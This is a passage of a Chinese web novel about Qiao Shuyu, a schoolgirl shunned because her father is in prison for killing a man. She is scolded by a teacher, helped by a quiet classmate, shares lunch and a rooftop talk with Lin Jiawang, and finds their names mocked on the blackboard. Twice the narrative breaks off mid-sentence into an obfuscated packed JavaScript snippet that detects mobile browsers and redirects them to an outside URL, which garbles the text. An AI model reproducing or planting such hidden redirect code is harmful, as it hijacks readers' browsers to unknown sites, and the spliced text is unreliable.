乔殊羽沉默地跟在她身后,甚至还有余裕看看天边滑翔而过的飞鸟,它们充满着一种自由的美感。 此时,办公室内只有两三个老师。班主任将教案重重拍在桌上,个头不足一米六的她,被迫仰头望着乔殊羽。 “跑操跑不好,连累全班同学替你罚跑,刚刚还在教室里和人吵架,乔殊羽,你看看你像话吗?!” 乔殊羽垂眼望着她,神色和语气同样平静:“我不是故意摔倒的,刚刚在教室里,也只是和他们解释这一点。” “不是故意的?那为什么别人都能跑好,你不能?就你特别?就你搞特殊?就你了不起?” 接二连三的反问,一口气说完,惹得班主任几近喘不上气来。 乔殊羽在心里暗想,术业有专攻,让她用英文骂自己一顿,大抵能比这番中文说得更漂亮些。 “说不定我就是比较特殊一点。老师,难道你不这么认为吗?” 不然,怎么对她比对别的学生要特殊呢。 她就是特殊的那个,怎么还在这里明知故问。 或许是她的语气一直过分淡然,班主任一时没反应过来,等她意识到乔殊羽在怼自己时,猛地一拍桌子:“所以你搞特殊,就要连累全班同学帮你罚跑?!” “首先,我不是故意的,是后面的同学撞到了我的膝盖,造成的本能反应。其次,”乔殊羽顿了顿,笑得很无奈,“老师,我受伤了。” 班主任不解地看着她:“所以呢?” “严重的踩踏事故是可能造成死亡的。”乔殊羽道。 班主任嗤笑了一声:“你不是还活着吗,不是还在这里神气活现地和我顶嘴吗?” “所以在学校眼里,一个学生的安危,远不如这些表面功夫来得重要吗?”乔殊羽也犯了蠢,明知故问了一句。 当数个男生的重量砸在她背上,有那么一瞬间,她真的短暂失了神,看到了彼端。 “你不要跟我说这些。”班主任烦躁地摆摆手,“就说今天的事,是不是你的错?” “不是。”乔殊羽答得没有半分犹豫。 班主任难以置信地看着她,嘴张了又合,几次欲言又止后,用力点点头:“行,我管不了你。以后跑□□别参加了,给我留在教室里好好反思。” “好。”乔殊羽求之不得。 反正班主任从没有认真管过自己,如果说今天的这种单方面训斥叫“管”的话,那她不需要。 也不会再奢求了。 16. 第 16 章 这一趟来得不亏,免去了检讨,以后也不必被迫参加跑操,以至于走出办公室时,乔殊羽心情愉悦到快要发笑。 只是在余光里窥见班主任铁青的脸后,她还是极富同理心地紧抿着嘴,捺下了笑意。 尚在走廊上,便能听见他们班的喧闹声。班主任的脸色更差,乔殊羽忙一阵小跑,先一步进了教室。 众人的目光都聚焦于她,等着看她被训斥后的颓丧模样。 可是没有,莫不如说,她的神情比出教室前更为轻松。 所有人疑惑的目光转向了紧随其后的班主任,而乔殊羽颇有余裕地走回座位,低头准备从桌肚里抽出即将要讲的英语作业。 只是随着英语作业本抽出的,是个熟悉又陌生的东西。 那是一片卫生巾,但并不是她的。 粉色的内包装袋,密封条粘得很严实,没有被拆过的痕迹。 乔殊羽低着头,细细端详了一转,看起来好像也没有什么破孔和划痕。 它会是来自谁的呢。 乔殊羽抬眼望去,目光越过正颜厉色的班主任,越过厚厚的墙壁,望向了白墙另一边的12班。 有那么一瞬间,她好像真的望见了那圆溜溜的后脑勺,头发乖顺地伏在上面,摸一把手感很好。 只是乔殊羽依稀记得,当她离开教室时,抽屉里并没有这个。 而那时候已经是课堂时分,林家望不可能也没必要跑来给她送这个。 可能又是什么她料想不到的恶作剧,乔殊羽没再多想,随手将它扔进了桌肚深处。 一节课下,乔殊羽单手支着脑袋,另一只手转着笔,还在独自琢磨课上没听懂的那道题。 课桌忽然被人屈指敲了敲,入目是一只雪白纤长的手,顺势向上望去,杜依芮正端正地望着后黑板,仿佛只是路过此处,无意间停留。 “干净的,你用吧。”她用只有彼此能听见的声音匆匆开口,转身混入了人潮。 乔殊羽对她没什么印象,毕竟不管是班级座位,还是体育课列队,她都在第一排,而乔殊羽在最后一排,交集少得可怜。 杜依芮成绩平平,样貌清秀,人缘还可以,有两个玩得很好的朋友。就像校园里最常见的那种女生一样。 开学一个多月以来,两人连话都没说过一句。 也许无意间有过眼神交错,但乔殊羽不太记得她看向自己时是什么目光了。 包括刚刚,杜依芮也一眼没有看过她。 但毫无疑问,那片卫生巾是她放在那里的。 乔殊羽再度拿起它,匆匆奔进了卫生间隔间。 确实是干净的,看起来没有任何异样。 或许是之前跑操时不小心漏到了外裤上,让杜依芮误以为自己没有带。 而她为什么要好心地送自己一片。 她……不讨厌自己吗? 乔殊羽的心头有些乱,一路低着头走出卫生间,刚好和迎面进来的女生撞了个满怀。 “没长眼啊。” 乔殊羽错开半步,一抬头,刚好接下对方厌恶的目光。 对方正是杜依芮的朋友之一,此刻,三人如往常那般结伴去卫生间。 杜依芮也顺势看了过来,只淡淡瞥了她一眼,便同朋友一齐向内走去。 “昨天他发的新歌听了没有?” “听了,mv拍得好好!” “我也觉得,造型超帅的!” …… 三人续起了被她打断的话题,继续聊着某个当红男明星。 乔殊羽回头望向三人的背影,想着或许不必去追究什么了。 对于杜依芮来说,最好的做法,就是假装这件事没发生过。 只是那句“谢谢”,可能也难以送出口了。 中午时分,乔殊羽惯例一个人在食堂用餐。 今天的荤菜是芹菜炒肉丁,乍一看肉不少,扒拉一下多是肥肉。 她拧眉开始一粒粒挑着肥肉,忽然听见餐盘放上桌面的清脆声响,对面坐了个人。 又白又细的手,只有那略大的骨节,凸显了它来自于男生。 乔殊羽抬眼望去,林家望笑着先斩后奏道:“可以吗?” “随便。”她继续专心对付那堆肥肉。 挑着挑着,她听见相似的声响自对面响起,一看,林家望也在挑着肥肉。 “你也不爱吃肥肉么?”乔殊羽道。 “嗯,感觉很腻。” “难怪你这么瘦。”乔殊羽随口应了一声。 林家望抿了抿唇,手上的动作一滞。 乔殊羽用余光看着他,意识到自己可能说错了话。 有很多难听的话在脑中纷涌而至,来自很多人口中,它们的攻击对象是林家望。 太胖会被人歧视,太瘦也是,尤其是男生。 什么“竹竿”“排骨”之类的都算寻常,还有所谓的“比女的还瘦”“瘦不拉几的像个娘儿们”。 反正林家望身上的所有特点,最后都会扯到“娘”上面。 乔殊羽脑中,又闪过林家望那雪白纤瘦的腰肢。 那天的匆匆一眼,到底在脑海里回放了多少次。 可怜乔殊羽不太会安慰人,毕竟她也是瘦的那位。她说不出瘦的好处,如果可以,她希望自己能多长点肉,多些力气。 就像乔仁那样,膀大腰圆的,站那儿气势十足,一拳能把人抡到半晕。 以一个杀人犯为目标,好像不是件好事儿。 餐桌上归于沉默,四周喧哗一片,唯独这里安静得很,仿佛他们只是两个拼桌的陌生人。 林家望的吃相不错,满满一勺送入嘴中,而后紧闭双唇,专心细嚼慢咽着。腮帮子鼓鼓的,但不算难看。 相比之下,乔殊羽的吃相就不太过关。 李亦梅总说她吃饭时左手不放在桌上太难看,可她又不喜欢端着碗,干放在桌上很不自在。于是李亦梅说再多次,她也屡教不改。 除此之外,她吃饭时又快又急,总被乔仁说是“饿死鬼投胎”。而乔仁不知道的是,这都是拜他所赐。 在乔殊羽还不知道自己的拳头有那么大力量时,她很怕乔仁,尤其是他每次家暴过后的那段日子里。 她不知道李亦梅是如何做到被乔仁打后,还能如常地给他做饭洗衣,并且与他同坐一桌用餐。 尽管挨打的不是自己,她依然很怕,只想匆匆吃完逃离餐桌,躲回房间。 就算现在乔仁进了监牢,这数年来养成的习惯,也不是一朝一夕能改的。 而今天,乔殊羽习惯性地塞进一勺,没咀嚼几口,又想再塞一勺,鬼使神差地,握勺的手生生停在了半空。 舌头能清晰地感知到,那些米饭还是饱满的颗粒,芹菜也还是出锅时的长度。她捺下吞咽的冲动,决定充分发挥一下牙齿的作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040919|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。 只是习惯了狼吞虎咽的人,突然放慢了速度多少有些不自在。等到乔殊羽逼着自己耐心对付完这一口后,一抬眼,看见林家望正望着自己,眉眼带笑。 是她刚刚的小小改变被发现了吗,乔殊羽忽然有些不爽。 她又塞下一口,如往常那般嚼了几下便下咽。 “你很着急吗?”林家望面露不解。 “没有啊。” “是不是我……不应该坐在这里。” “也没有。” 是她。 是她不懂自己为什么好端端地要改变。 林家望若有所思地点点头,又舀起一勺,慢条斯理地咀嚼着。 乔殊羽不再看他,但她忽然发现,自己不会吃饭了。 快一点不对,慢一点也不对,不对不对都不对,怎么都不顺心。 看来,她还是适合一个人吃饭。 当乔殊羽无比别扭地对付完一盘时,林家望也刚好吃完,两人一道起身,朝回收处走去。 不适合同桌吃饭的两人,倒在结束时间上莫名契合,乔殊羽对此搞不明白。 回收餐盘时同了路,回教室也没有理由不同路。 两人走在秋日的校园里,乔殊羽的腰上依然围着那件外套。纵使是中午,天空还是灰白一片,看样子,太阳今天不打算从云层里露头了。 如他人所说,林家望走起路来确实不紧不慢的,总让人觉得,他在很认真地进行“走路”这件事。 而乔殊羽素来腿长步阔,寻常的走路像竞走,带起一阵风。 第不知多少次停下等候后,乔殊羽不耐烦地回头:“你能快点儿么?” “哦。”林家望慌忙点点头,加快了步子。 明明林家望比例不赖,腿还算长,但就是步幅不大,步频也不快,直看得乔殊羽发急。 “你怎么走这么慢?”等他跟上了自己,乔殊羽忍不住发问道。 “可能因为我觉得,现在并不着急。”林家望笑了一下,“更何况,刚吃过饭嘛。” 这么一来,倒显得吃完饭就开始“竞走”的乔殊羽,非常的不健康了。 见她的脸色沉了几分,林家望补充道:“没关系,你如果急着回教室,先走也可以的。” “没有啊,我不着急。”倒不如说,她一点也不想回到教室,不想面对那一张张充满敌意的脸。 放慢吃饭速度难,放慢走路速度同样难。刚刚学不会吃饭,这会儿又学不会走路,腿仿佛是刚租来的,怎么迈都不对。 林家望望着她显然有些错乱的步伐:“你要是……” “没关系。”乔殊羽打断了他。 莫名的,她需要配合的那个人,好像走得快了些。 但直到走进教学楼,乔殊羽还是觉得纳闷。 她干嘛要学着林家望慢慢吃饭、慢慢走路? 她明明向来最讨厌这些慢性子,总能轻易挫走她的耐性,带来一肚子火气。 她干嘛要变成自己最讨厌的人? 只可怜这双腿刚习惯了走慢些,自己还是先对它仁慈些,就这么慢慢走回教室吧。 只是等二人刚刚上了四楼,林家望却停住了脚步:“拜拜。” 乔殊羽看了眼教室的方向:“你要去哪?” “我想去天台待一会儿。” 他并没有邀请,但乔殊羽还是兀自跟上了他的步伐。 17. 第 17 章 高一时,天台曾是乔殊羽最喜欢的地方。 没有砖墙的阻拦,抬头就能望见无边的天际。在这上面奢侈地浪费时间,看浮云慢悠悠地在视野里飘开一寸,都是无比美好的时光。 除了独处的日子,也有和朋友一起的。 一起在天台上吃零食、一起听歌、一起躲跑操,一起做所有校规不允许的事。 想来高中生活也不完全是晦暗无光的,在远离教室的那片天地里,她也曾有过明亮快乐的日子。 其实如果没有那一架,她依然可以常常跑到天台,尽管没有了朋友的陪伴,一个人独处也分外惬意。 但现在提到天台,乔殊羽满脑子都是那天的回忆。 那是她第一次感受到直接的恶意,比背后的闲言碎语和有意回避,来得更加毫无阻拦。 被拖向天台时旁人冷漠的侧目、对方下/流的眼神和言语、粗暴的动手…… 就算最后的胜者是她,每每回忆起来,她也觉得一阵作呕。 如果没有乔仁教她动手,她会怎么样? 但如果没有乔仁,她或许也不会遭到这一切。 乔殊羽总觉得,很多事就是一个没有尽头的循环。 - 听见她的脚步声,林家望略略侧脸望了她一眼,并未言语,沉默地同她一道上了天台。 站在天台上,才意识到现在确实已是秋天。远远眺望,树顶已经开始泛黄,知学湖上的那两只鸭子,高一时食堂师傅就开玩笑说要把它们抓来炖了,现在依然欢快地游来游去。 “你为什么要来天台呢?”乔殊羽道。 “因为不想待在教室里,所以每天吃完饭,我都会来天台消磨时间。偶尔天台有人,我就会跑到上次那条小路里。” 这是一种状似求生的行为,林家望却把它说得稀疏平常。 “这样。”乔殊羽不知如何、或者该不该安慰他,随口道,“高一时,我也很喜欢来天台待着。” “现在呢,不喜欢了吗?”林家望侧身面向她,眼里的好奇认真而纯粹。 “呃……”乔殊羽苦笑了一下,“不知道你有没有听过,我曾经和人在天台打了一架。” 之前想起那些极尽夸张的传闻,乔殊羽有一种隐隐的自矜,而现在,她却莫名有些无措。 “好像有听过,是真的吗?” “是真的。不过……没有他们说得那么夸张。” 林家望看起来很淡定:“那也很厉害啊。” “你知道我为什么和他们打架吗?”乔殊羽莫名起了兴趣,也侧身倚着天台围栏,同他面对面道。 “肯定因为他们做了什么过分的事。” “噗。”乔殊羽没忍住笑出了声,“为什么这么说?” 要知道在那么多版本的传言里,其中一版是说她看他们不爽,故意挑起争端;还有一版,是说她想要挑战他们扛把子的地位。 总之众说纷纭,还各个说得有鼻子有眼,煞有其事似的。 “因为我觉得,你不像是会无故和人打架的人。”林家望忽然笑了,眼里有种少见的狡黠,“被你打的,一定都是该打的。” 乔殊羽一挑眉:“奉承我?” “我是在说心里话。”林家望的眼神太真诚了,如果是句假话,没进影视圈实在是影史的一大损失。 那个传闻传开后,不少人眼里的她,都是个嗜血好斗的存在,大抵就是黑一帮电影里看谁不爽,便上前一个耳刮子的那种。 再加上就算她面无表情,眼神也显得凶,惹得许多人都不敢看她,仿佛她是邪恶的美杜莎。 而现在,林家望一片坦诚地望着她,没有畏惧,没有厌恶,没有讨好,只是平等地望着她。 乔殊羽很久没有感受到这种目光了。 以至于她忍不住别开眼:“你知道,他们为什么要挑事吗?” 林家望摇摇头:“我不知道。” “就是……那件事啊。”有这么一个父亲,令乔殊羽羞于启齿。 林家望的眼神还是有些莫名:“什么事?” “你没有听过我爸把人打死的事吗?”乔殊羽惊讶地望向他,暑假里,这件事在擎县几乎传疯了。 “哦。”林家望点点头,“但是,和你有什么关系呢。” 平淡的一句话,莫名说得乔殊羽鼻子一酸。 所有人都觉得这件事和她有关,所有人都遗憾废除了株连九族,所有人都认为她爸在牢里服刑,她就要在外面服道德的刑。 以至于连她自己,都开始觉得自己有罪。 而现在忽然有人告诉她,或许这件事和她并没有关系。 “乔殊羽?”见她的目光似乎有些不对,林家望试探着问道。 乔殊羽避开他的目光,扭头望向了另一侧,秋风微凉,却吹得她的眼眶愈发温热。 耳边很静,林家望没再开口,乔殊羽定定地望着天空层层叠叠的云,恍惚间仿似短暂地回到了高一。 如果能停留在高一就好了,放暑假那天,她不该笑得那么开心的。 眼泪最终只滚了一滴,剩余的都被她成功锁在眼眶,被风一遍遍吹干。 乔殊羽调整了一下情绪,回过头,林家望安静地看着她,轻轻笑了。 少顷后,乔殊羽也尝试着弯了弯嘴角。 她很感谢林家望刚刚的沉默。 两人有一搭没一搭地又聊了许多,湖上的鸭子、中午的饭、坏了的感应灯、天边的飞鸟。 同班里那些总是一惊一乍的男生不同,林家望的声音始终淡淡的,语速不疾不徐。 惹得乔殊羽很想录下来,在每一个焦躁难挨的时刻,打开反反复复地听,把那些琐事都丢到一边,逃避似地安然睡上一场。 乔殊羽确实睡了一觉。 不过不是在家里,而是在课堂上。 午休时分闲聊了一中午的结果,就是下午上课时一个劲地打盹。数学老师的声音比林家望还要平,又闷到仿佛“嗡嗡”的钟声余音,催眠效果满分。 梦里是林家望站在了讲台,从前晦涩难懂的数学,一下子成了她的拿手科目,所有题目一点就通。 乔殊羽激动地昂着头,期待林老师让她回答问题。最终这位林老师确实开口了,脱口而出的却是一阵下课铃。 伴着欢快的钢琴曲,教室里逐渐喧闹起来。今天数学老师意外没有拖堂,值日生飞速跑上讲台,挥舞着黑板擦扬起一室尘埃。 而乔殊羽低头望着空白的数学笔记,陷入了沉默。 她的数学本就糟糕,每次都堪堪在及格线徘徊,今天刚好是讲新章节的内容,课后的题目光看课本,根本无从解答。 和谁借笔记抄一下呢…… 乔殊羽的目光在班里转了一圈,最终望向了杜依芮。 此时,杜依芮正和她的两个朋友围在一起,热烈地聊些什么。 乔殊羽犹豫着走上前,短暂的四目相对间,她看见杜依芮飞快别开了眼。 不必开口了,乔殊羽装作前来看课表,径直继续向前,在黑板旁贴的课表前停留了少顷,转身回到了自己的位置。 那只是对方一时的好意。 并不代表她可以得寸进尺,奢求更多。 只是作业还是得写,乔殊羽再度无望地扫了眼班内,从后门走了出去。 11班和12班是同一个数学老师,笔记的内容应该也大同小异。彼时12班刚刚下课,有老师从前门走出,半分钟后,班内陆陆续续有学生出来。 乔殊羽故作放松地倚靠在栏杆上,目光却不断飘向12班。这种闯入他人领地的感觉令她颇为不安,几乎每个从12班出来的人都会看她一眼,目光五味杂陈。 林家望,你快出来啊…… 乔殊羽在心里焦急地重复着。 从她所在的角度,只能看见后两排的学生,林家望并不在这之中。 眼见时间一分一秒过去,乔殊羽逐渐打了退堂鼓。 比起等待,两班同学的异样眼神更让她难挨。 要不等下节课课间,或者吃晚饭的当口,林家望总会出来。 乔殊羽这么想着,回身向自己班走去时,身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040920|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然传来一阵急促的脚步声,拍上肩膀的力度却轻得很克制。 回头,林家望正认真地看着她:“你是不是有什么事?” “你怎么才出来啊。”乔殊羽的语气莫名有几分不讲理的埋怨。 “不好意思。”林家望面露歉意,“我不知道你是找我,所以没有及时出来。” “那我能找谁呢。” 偌大一个学校,她能找的居然只有隔壁班的一位。 “下次见到你,我会第一时间出来。”林家望一本正经地保证道。 他总是在某些时刻,认真到令乔殊羽不安,她避开他的目光,开口道:“其实,也不是很重要的事。你们班数学新章节讲了吗,可不可以把笔记借我抄一下。” “下节课就是数学课,应该会讲。那我下节课课间,把笔记送给你好吗?” “好。”乔殊羽忽然感到很安心。 上课铃声匆匆响起,二人慌忙赶向自己的教室。乔殊羽就近从前门进入,在众目睽睽之下跑向了角落的位置。 但她纯然没有在意这些目光,想的全是那本即将到手的笔记。 这节是物理课,翻来覆去的小球滚得她一个脑袋两个大。好不容易捱到了下课铃,物理老师却捧着试卷道:“耽误几分钟,我们把最后一题讲掉。” 乔殊羽单手支着脑袋,在物理老师的讲解下,订正自己错误连天的答案。手里机械地写着,脑子转得格外迟钝。 只是没多久,耳畔除了物理老师的讲课声,却突然多出了些窸窸窣窣的声响。 乔殊羽茫然地扭头望去,看见了站在窗外的林家望。 他乖巧地将笔记抱在臂弯,室外的风有些大,吹得他本就零散的刘海不成形地飘起。 四目相对间,他笑了一下,挥挥笔记。 很显然,其他人也注意到了走廊上的林家望,并顺着他的目光,看向了她。 乔殊羽说不出自己是什么心情,不像当初那般厌恶,但还是怪异难当。 “好,下课。”讲完最后一题,物理老师颇为满意地点点头,开始收拾教案。 班里一瞬间炸开了锅,而乔殊羽赶忙起身,比物理老师更快地冲出了教室。 “给。”林家望递来笔记。 乔殊羽匆匆接过,回头看了眼班内,又扭头看向他。 尚未开口,便听林家望道:“那我先回班了。” 乔殊羽无措地拿着笔记站在原地,直到他的身影消失在门里,才想起自己欠了句“谢谢”。 刚刚不该回头看那么一眼的,她想。 他在书上的笔记已经很有条理,笔记本上的就更胜一筹。依然是那手赏心悦目的字,类别划分得无比细致,难点和重点也标注得格外清楚。比起私人的笔记,更像是谁都能学到一二的总结提要。 以至于乔殊羽往自己的笔记本上誊时,总觉得不自在。明明是同样的老师,同样的课件,怎么他能记得这么好,自己就乱糟糟一团。 前页是无法更改了,乔殊羽翻了翻空白的后页,要是能全部按照林家望的格式,把它们填满就好了。 可能林家望的笔记真的有什么魔力,上次只是看着他的课本,物理课便听得格外通透。而这次抄了他的笔记,明明睡了整节数学课,却顺利做出了大半数学作业。 数学在校做得多,便意味着回家能少熬夜,也意味着翌日能早些起,不再卡着点进教室。 早起的感觉还不赖,不必匆匆忙忙地蹬车,可以慢下来看着这座城市逐渐苏醒。到了学校后,也不必一路狂奔,可以伴着还在爬坡的太阳,悠闲地走进教学楼。 同从前每次都坐得满当当不同,此刻教室里才来了一半的人。又是熟悉的目光,乔殊羽视若无睹地落座,取出等下要读的英语书,抬头向黑板看去,试图确认今天的课表—— 尤其是数学的。 然而下一秒,她的期待便定在脸上,听见周围的嘲笑声越来越响。 她和林家望的名字被大大地写在了黑板上。 中间还用红色粉笔画了颗歪七扭八的爱心。